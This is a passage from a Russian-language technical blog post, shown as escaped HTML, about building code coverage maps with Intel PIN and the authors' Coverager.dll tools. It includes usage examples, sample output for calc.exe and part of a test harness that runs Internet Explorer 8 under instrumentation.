black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (DWORD)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Func_2;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;48&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;49&lt;/span&gt; &lt;span style="color: black;"&gt;    Func();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;50&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;51&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;52&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;53&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;Анализ покрытия кода с PIN&lt;/h3&gt;Для анализа покрытия кода с использованием PIN нами был разработан относительно несложный инструментальный модуль а так же некоторые другие утилиты, которые были&amp;nbsp;объединены&amp;nbsp;в набор под названием &lt;a href="https://github.com/Cr4sh/Code-coverage-analysis-tools"&gt;Code Coverage Analysis Tools&lt;/a&gt;. В него входят:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Coverager.dll&lt;/strong&gt; - Собственно, инструментальный модуль для PIN.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;coverage_test.exe&lt;/strong&gt; - Тестовое приложение, которое позволяет строить карты покрытия кода для Internet Explorer-а используя PIN и Coverager.dll.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;coverage_parse.py&lt;/strong&gt; - Скрипт для работы с логами, которые генерирует Coverager.dll.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;symlib.pyd&lt;/strong&gt; - Используемая в coverage_parse.py небольшая Python библиотека для работы с PDB символами.&lt;/li&gt;&lt;/ul&gt;Используются эти утилиты следующим образом:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Для начала необходимо &lt;a href="http://www.pintool.org/downloads.html"&gt;загрузить&lt;/a&gt; актуальную версию PIN и распаковать архив в произвольную директорию.&lt;/li&gt;&lt;li&gt;Скопировать Coverager.dll в директорию с файлами PIN.&lt;/li&gt;&lt;li&gt;Отредактировать сценарий execute_pin.bat, что бы переменная среды PINPATH содержала актуальный путь к директории PIN.&lt;/li&gt;&lt;/ol&gt;Для построения карты покрытия кода какого-нибудь приложения следует запустить execute_pib.bat из консоли, передав ему командную строку для запуска целевого приложения в качестве аргумента. Пример:&lt;br /&gt;&lt;pre style="padding-left: 30px;"&gt;&amp;gt; execute_pin.bat calc.exe&lt;/pre&gt;После завершения работы целевого приложения в текущей директории будут созданы следующие текстовые файлы:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;CoverageData.log&lt;/strong&gt; - Общая информация об исследуемом процессе (размер карты покрытия, количество потоков и исполняемых модулей, и так далее).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;CoverageData.log.modules&lt;/strong&gt; - Список полных путей к файлам исполняемых модулей, которые были загружены в контекст исследуемого процесса.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;CoverageData.log.routines&lt;/strong&gt; - Информация о функциях, которые получали управление в ходе исполнения исследуемого процесса.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;CoverageData.log.blocks&lt;/strong&gt; - Информация об отдельных базовых блоках инструкций, которые получали управление в ходе исполнения исследуемого процесса.&lt;/li&gt;&lt;/ul&gt;Файлы&amp;nbsp;CoverageData.log.routines и&amp;nbsp;CoverageData.log.blocks содержат информацию о функциях/блоках, принадлежащих всем исполняемым модулям, включая файл самого процесса а так же стандартные системные (ntdll, kernel32, user32, и так далее) и любые другие динамически загружаемые библиотеки.&lt;br /&gt;&lt;br /&gt;Для представления информации из перечисленных выше логов в удобном для работы виде служит скрипт coverage_parse.py, который принимает следующие параметры командной строки:&lt;br /&gt;&lt;pre style="padding-left: 30px;"&gt;&amp;gt; python coverage_parse.py &amp;lt;log_file_path&amp;gt; &amp;lt;--dump-blocks|--dump-routines&amp;gt; [other_options]&lt;/pre&gt;В качестве &amp;lt;log_file_path&amp;gt; указывается путь к файлу CoverageData.log, а один из обязательных ключей --dump-blocks или --dump-routines указывает на то, с информацией какого уровня гранулярности следует работать (базовые блоки или функции).&lt;br /&gt;&lt;br /&gt;В качестве опциональных параметров указываются следующие ключи:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;--outfile &amp;lt;file_path&amp;gt;&lt;/strong&gt; - Сохранять информацию в указанный файл, вместо вывода в консоль.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;--order-by-names&lt;/strong&gt; - Сортировать вывод по имени (адресу) символа, который соответствует функции или базовому блоку (данный режим используется по умолчанию).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;--order-by-calls&lt;/strong&gt; - Сортировать вывод по количеству вызовов функции или базового блока.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;--modules &amp;lt;modules&amp;gt;&lt;/strong&gt; - Получать информацию только для указанных модулей (по именам). &amp;nbsp;Для передачи списка из нескольких модулей следует разделять из имена запятой (например: --modules "iexplore.exe, ieframe.dll"). Если параметр --modules не указан - в вывод скрипта будет включена информация обо всех исполняемых модулях исследуемого процесса.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;--skip-symbols&lt;/strong&gt; - По умолчанию скрипт автоматически загружает PDB-символы для нужных исполняемых модулей и использует их для преобразования адресов всех функций и базовых блоков к виду module!symbol+offset. Параметр&amp;nbsp;--no-symbols позволяет отключить загрузку PDB символов, в таком случае, все адреса в выводе скрипта будут представлены в виде module+ofsset.&lt;/li&gt;&lt;/ul&gt;Пример использования скрипта для получения информации о наиболее часто вызываемых функциях модуля calc.exe:&lt;br /&gt;&lt;pre&gt;&amp;gt; python coverage_parse.py CoverageData.log --dump-routines --modules "calc" --order-by-calls&lt;br /&gt;&lt;br /&gt;SYMLIB: DLL_PROCESS_ATTACH&lt;br /&gt;SYMLIB: Symbols path is ".\Symbols;SRV*.\Symbols*http://msdl.microsoft.com/download/symbols"&lt;br /&gt;SYMLIB: Module loaded from "C:\Windows\system32\calc.exe"&lt;br /&gt;SYMLIB: 2774 symbols loaded for "C:\Windows\system32\calc.exe"&lt;br /&gt;Filtering by module name "calc"&lt;br /&gt;[+] Ordering list by number of calls&lt;br /&gt;[+] Parsing routines list, please wait...&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;#   Calls count -- Function Name&lt;br /&gt;#&lt;br /&gt;          11560 -- calc.exe!UIntAdd&lt;br /&gt;           7863 -- calc.exe!ATL::CAtlArray&amp;lt;ATL::CAtlRegExp::INSTRUCTION,ATL::CElementTraits&amp;lt;ATL::CAtlRegExp::INSTRUCTION&amp;gt; &amp;gt;::operator[]&lt;br /&gt;           6559 -- calc.exe!_destroynum&lt;br /&gt;           5780 -- calc.exe!ULongLongToUInt&lt;br /&gt;           5780 -- calc.exe!_createnum&lt;br /&gt;           5102 -- calc.exe!ATL::CAtlRegExp::MatchToken&lt;br /&gt;           3788 -- calc.exe!ATL::CAtlArray&amp;lt;ATL::CAtlRegExp::INSTRUCTION,ATL::CElementTraits&amp;lt;ATL::CAtlRegExp::INSTRUCTION&amp;gt; &amp;gt;::SetCount&lt;br /&gt;           3416 -- calc.exe!ATL::CAtlArray&amp;lt;ATL::CAtlRegExp::INSTRUCTION,ATL::CElementTraits&amp;lt;ATL::CAtlRegExp::INSTRUCTION&amp;gt; &amp;gt;::CallConstructors&lt;br /&gt;           3404 -- calc.exe!ATL::CAtlRegExp::AddInstruction&lt;br /&gt;           3196 -- calc.exe!addnum&lt;br /&gt;           2902 -- calc.exe!lessnum&lt;br /&gt;           2636 -- calc.exe!memcpy&lt;br /&gt;           2470 -- calc.exe!_addnum&lt;br /&gt;           2453 -- calc.exe!__security_check_cookie&lt;br /&gt;           1743 -- calc.exe!CArgument::getPosition&lt;br /&gt;           1084 -- calc.exe!CCalculatorMode::HandleBackgroundForChildWindows&lt;br /&gt;           1084 -- calc.exe!CProgrammerMode::ProgDlgProc&lt;br /&gt;            918 -- calc.exe!operator delete[]&lt;br /&gt;            895 -- calc.exe!CEditBoxInput::HandleDlgProcMessage&lt;br /&gt;            704 -- calc.exe!ATL::CAtlArray&amp;lt;FORMULA_PART *,ATL::CElementTraits &amp;gt;::GetAt&lt;br /&gt;&lt;br /&gt;            ...&lt;br /&gt;            пропущено ещё несколько сотен функций&lt;br /&gt;            ...&lt;br /&gt;&lt;br /&gt;              1 -- calc.exe!Gdiplus::Graphics::Graphics&lt;br /&gt;              1 -- calc.exe!GdipGetImageGraphicsContext&lt;br /&gt;              1 -- calc.exe!Gdiplus::Graphics::SetInterpolationMode&lt;br /&gt;              1 -- calc.exe!GdipSetInterpolationMode&lt;br /&gt;              1 -- calc.exe!Gdiplus::Graphics::SetSmoothingMode&lt;br /&gt;              1 -- calc.exe!GdipSetSmoothingMode&lt;br /&gt;              1 -- calc.exe!CProgrammerMode::ShowBitStrip&lt;br /&gt;              1 -- calc.exe!CProgrammerMode::NormalizeCurrentBit&lt;br /&gt;              1 -- calc.exe!CIO_vUpdateDecimalSymbol&lt;br /&gt;&lt;br /&gt;[+] Processed modules list:&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;# Routines count -- Module Name&lt;br /&gt;#&lt;br /&gt;            422 -- gdiplus.dll&lt;br /&gt;             58 -- winmm.dll&lt;br /&gt;            107 -- apphelp.dll&lt;br /&gt;            221 -- gdi32.dll&lt;br /&gt;            370 -- kernel32.dll&lt;br /&gt;            196 -- msvcrt.dll&lt;br /&gt;             57 -- oleaut32.dll&lt;br /&gt;             30 -- dwmapi.dll&lt;br /&gt;            692 -- ntdll.dll&lt;br /&gt;             60 -- shlwapi.dll&lt;br /&gt;              5 -- sechost.dll&lt;br /&gt;             92 -- imm32.dll&lt;br /&gt;            705 -- calc.exe&lt;br /&gt;             28 -- cryptbase.dll&lt;br /&gt;             37 -- advapi32.dll&lt;br /&gt;            577 -- ole32.dll&lt;br /&gt;             33 -- lpk.dll&lt;br /&gt;            825 -- msctf.dll&lt;br /&gt;             10 -- version.dll&lt;br /&gt;            309 -- usp10.dll&lt;br /&gt;            278 -- windowscodecs.dll&lt;br /&gt;            483 -- uxtheme.dll&lt;br /&gt;            138 -- oleacc.dll&lt;br /&gt;             95 -- clbcatq.dll&lt;br /&gt;            251 -- comctl32.dll&lt;br /&gt;            258 -- kernelbase.dll&lt;br /&gt;            117 -- shell32.dll&lt;br /&gt;             25 -- rpcrt4.dll&lt;br /&gt;            465 -- user32.dll&lt;br /&gt;&lt;br /&gt;[+] DONE&lt;br /&gt;&lt;br /&gt;SYMLIB: DLL_PROCESS_DETACH&lt;/pre&gt;PIN так же корректно анализирует исполняемый код, который не принадлежит какому-либо загруженному модулю, и находится в произвольной executable-странице памяти. Для того, что бы получить информацию о таком коде из логов, для coverage_parser.py необходимо указать "?" в качестве имени модуля:&lt;br /&gt;&lt;pre&gt;&amp;gt; python coverage_parse.py CoverageData.log --dump-routines --modules "?"&lt;br /&gt;&lt;br /&gt;SYMLIB: DLL_PROCESS_ATTACH&lt;br /&gt;SYMLIB: Symbols path is ".\Symbols;SRV*.\Symbols*http://msdl.microsoft.com/download/symbols"&lt;br /&gt;Filtering by module name "?"&lt;br /&gt;[+] Parsing routines list, please wait...&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;#   Calls count -- Function Name&lt;br /&gt;#&lt;br /&gt;              5 -- ?0x541be250&lt;br /&gt;              5 -- ?0x55009060&lt;br /&gt;&lt;br /&gt;              ...&lt;/pre&gt;Как видно из примера - в выводе скрипта такой код будет представлен в форме ?&amp;lt;address&amp;gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Тестирование&lt;/h3&gt;В последнее время наблюдается следующая тенденция: &lt;a href="http://pedram.redhive.com/paimei/docs/PAIMEIpstalker_flash_demo/index.html"&gt;многие исследователи&lt;/a&gt;, разрабатывающие различные системы динамического анализа кода, в качестве демонстрации возможностей этих систем ссылаются на тесты, для которых в качестве объекта используются маленькие приложения вроде calc и notepad или всевозможные вариации hackme.exe/vulnerable.exe из десятка строчек. Чаще всего подобные явления говорят или о невозможности решать с помощью демонстрируемого инструмента задачи из реальной жизни, или о том, что разработчик данного инструмента слишком увлечен ним самим, и воспринимает его в отрыве от практических задач.&lt;br /&gt;&lt;br /&gt;Так как подобные тенденции мы не разделяем - в качестве демонстрации возможностей PIN и инструментального модуля Coverager.dll будут приведены результаты их тестирования на построении карты покрытия кода процесса браузера Internet Explorer 8, работающего в среде операционной системы Windows 7 SP1.&lt;br /&gt;&lt;br /&gt;Для проведения тестирования была написана программа coverage_test.exe, ключевая часть исходных текстов которой выглядит следующим образом:&lt;br /&gt;&lt;pre&gt;&lt;div&gt;&lt;span style="color: teal;"&gt;  1&lt;/span&gt; &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; _tmain(&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; argc, _TCHAR&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt; argv[])&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  2&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  3&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;lpszCmdLine &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; GetCommandLine();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  4&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;lpszCmd &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; strstr(lpszCmdLine, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;@ &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  5&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (lpszCmd &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; NULL)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  6&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  7&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  8&lt;/span&gt; &lt;span style="color: green;"&gt;            Командная строка для запуска внешнего приложения не указана,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;  9&lt;/span&gt; &lt;span style="color: green;"&gt;            coverage_test был запущен из командной строки.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 10&lt;/span&gt; &lt;span style="color: green;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 11&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szSelfPath[MAX_PATH], szExecPath[MAX_PATH];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 12&lt;/span&gt; &lt;span style="color: black;"&gt;        GetModuleFileName(GetModuleHandle(NULL), szSelfPath, MAX_PATH);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 13&lt;/span&gt; &lt;span style="color: black;"&gt;        DWORD dwTestIterations &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 14&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 15&lt;/span&gt; &lt;span style="color: black;"&gt;        SetConsoleCtrlHandler(CtrlHandler, TRUE);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 16&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 17&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 18&lt;/span&gt; &lt;span style="color: green;"&gt;            Регистрируем исполняемый файл текущего процесса как отладчик для IEXPLORE.EXE,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 19&lt;/span&gt; &lt;span style="color: green;"&gt;            при попытке его запуска система запустит наше приложение а путь к исполняемому файлу&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 20&lt;/span&gt; &lt;span style="color: green;"&gt;            IEXPLORE.EXE будет передан ему в качестве аргумента командной строки.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 21&lt;/span&gt; &lt;span style="color: green;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 22&lt;/span&gt; &lt;span style="color: black;"&gt;        sprintf_s(szExecPath, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;\"%s\" @&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, szSelfPath);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 23&lt;/span&gt; &lt;span style="color: black;"&gt;        SetImageExecutionDebuggerOption(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;IEXPLORE.EXE&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, szExecPath);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 24&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 25&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;for&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; i &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;; i &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: black;"&gt; argc; i&lt;/span&gt;&lt;span style="color: black;"&gt;++&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 26&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 27&lt;/span&gt; &lt;span style="color: black;"&gt;            &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: black;"&gt;!&lt;/span&gt;&lt;span style="color: black;"&gt;strcmp(argv[i], &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;--iterations&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; argc &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt; i &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 28&lt;/span&gt; &lt;span style="color: black;"&gt;            {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 29&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; количество итераций для теста&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 30&lt;/span&gt; &lt;span style="color: green;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;                dwTestIterations &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; atoi(argv[i &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;]);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 31&lt;/span&gt; &lt;span style="color: black;"&gt;                printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Iterations count: %d\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, dwTestIterations);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 32&lt;/span&gt; &lt;span style="color: black;"&gt;            }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 33&lt;/span&gt; &lt;span style="color: black;"&gt;            &lt;/span&gt;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: black;"&gt;!&lt;/span&gt;&lt;span style="color: black;"&gt;strcmp(argv[i], &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;--instrumentation-path&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; argc &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt; i &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 34&lt;/span&gt; &lt;span style="color: black;"&gt;            {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 35&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 36&lt;/span&gt; &lt;span style="color: green;"&gt;                    Путь к файлу инструментальной программы (в нашем случае это pin.exe),&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 37&lt;/span&gt; &lt;span style="color: green;"&gt;                    сохраняем его в параметре реестра и использует при запуске IEXPLORE.EXE&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 38&lt;/span&gt; &lt;span style="color: green;"&gt;                &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 39&lt;/span&gt; &lt;span style="color: black;"&gt;                SetOptionalApp(argv[i &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;]);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 40&lt;/span&gt; &lt;span style="color: black;"&gt;                printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Instrumentation tool path: \"%s\"\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, argv[i &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;]);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 41&lt;/span&gt; &lt;span style="color: black;"&gt;            }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 42&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 43&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 44&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; инициализация COM&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 45&lt;/span&gt; &lt;span style="color: black;"&gt;        HRESULT hr &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; CoInitializeEx(NULL, COINIT_MULTITHREADED);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 46&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (FAILED(hr))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 47&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 48&lt;/span&gt; &lt;span style="color: black;"&gt;            printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;CoInitializeEx() ERROR 0x%.8x\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, hr);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 49&lt;/span&gt; &lt;span style="color: black;"&gt;            &lt;/span&gt;&lt;span style="color: blue;"&gt;goto&lt;/span&gt;&lt;span style="color: black;"&gt; end;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 50&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 51&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 52&lt;/span&gt; &lt;span style="color: black;"&gt;        DWORD dwTime &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; GetTickCount();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 53&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 54&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; редактирование настроек IE: активируем single process mode &lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 55&lt;/span&gt; &lt;span style="color: black;"&gt;        DisableIeMultiprocessMode();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 56&lt;/span&gt; 